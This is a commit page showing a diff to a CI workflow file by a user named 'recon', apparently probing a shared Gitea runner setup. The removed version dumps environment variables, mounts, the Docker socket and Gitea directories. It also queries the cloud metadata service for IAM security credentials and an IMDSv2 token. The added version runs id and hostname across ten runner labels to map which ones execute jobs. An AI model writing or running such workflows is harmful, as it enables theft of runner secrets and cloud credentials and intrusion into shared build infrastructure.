multi-label probe
recon / j_ubuntu_latest (push) Waiting to run Details
recon / j_ubuntu_2204 (push) Waiting to run Details
recon / j_ubuntu_2004 (push) Waiting to run Details
recon / j_ubuntu_1804 (push) Waiting to run Details
recon / j_selfhosted (push) Waiting to run Details
recon / j_docker (push) Waiting to run Details
recon / j_linux (push) Waiting to run Details
recon / j_ubuntu (push) Waiting to run Details
recon / j_host (push) Waiting to run Details
recon / j_default (push) Waiting to run Details

This commit is contained in:
recon 2026-10-14 06:16:13 +00:00
parent 7de58aa50b
commit dea1da6464
1 changed files with 29 additions and 15 deletions

View File

@ -3,19 +3,33 @@ on:
push: push:
workflow_dispatch: workflow_dispatch:
jobs: jobs:
r: j_ubuntu_latest:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps: [{run: "echo MATCH_ubuntu-latest; id; hostname"}]
- name: info j_ubuntu_2204:
run: | runs-on: ubuntu-22.04
echo "=== WHOAMI ==="; id; hostname; uname -a; cat /etc/os-release 2>/dev/null steps: [{run: "echo MATCH_ubuntu-22.04; id; hostname"}]
echo "=== ENV ==="; env | sort j_ubuntu_2004:
echo "=== MOUNTS ==="; cat /proc/mounts runs-on: ubuntu-20.04
echo "=== ROOTLS ==="; ls -la / steps: [{run: "echo MATCH_ubuntu-20.04"}]
echo "=== DOCKERSOCK ==="; ls -la /var/run/docker.sock; ls -la /var/run/ 2>&1 | head j_ubuntu_1804:
echo "=== REPO_MOUNT ==="; ls -la /repo 2>&1 | head runs-on: ubuntu-18.04
echo "=== OPT_GITEA ==="; ls -la /opt/gitea 2>&1 | head steps: [{run: "echo MATCH_ubuntu-18.04"}]
echo "=== IMDSv1 ==="; curl -s -m 6 http://169.254.169.254/latest/meta-data/ 2>&1 j_selfhosted:
echo "=== IMDSv1_role ==="; curl -s -m 6 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1 runs-on: self-hosted
echo "=== IMDSv2 ==="; TOKEN=$(curl -s -m 6 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"); echo "tok=${TOKEN:0:16}"; curl -s -m 6 -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ 2>&1 steps: [{run: "echo MATCH_self-hosted; id"}]
echo "=== END ===" j_docker:
runs-on: docker
steps: [{run: "echo MATCH_docker; id"}]
j_linux:
runs-on: linux
steps: [{run: "echo MATCH_linux; id"}]
j_ubuntu:
runs-on: ubuntu
steps: [{run: "echo MATCH_ubuntu; id"}]
j_host:
runs-on: host
steps: [{run: "echo MATCH_host; id"}]
j_default:
runs-on: default
steps: [{run: "echo MATCH_default; id"}]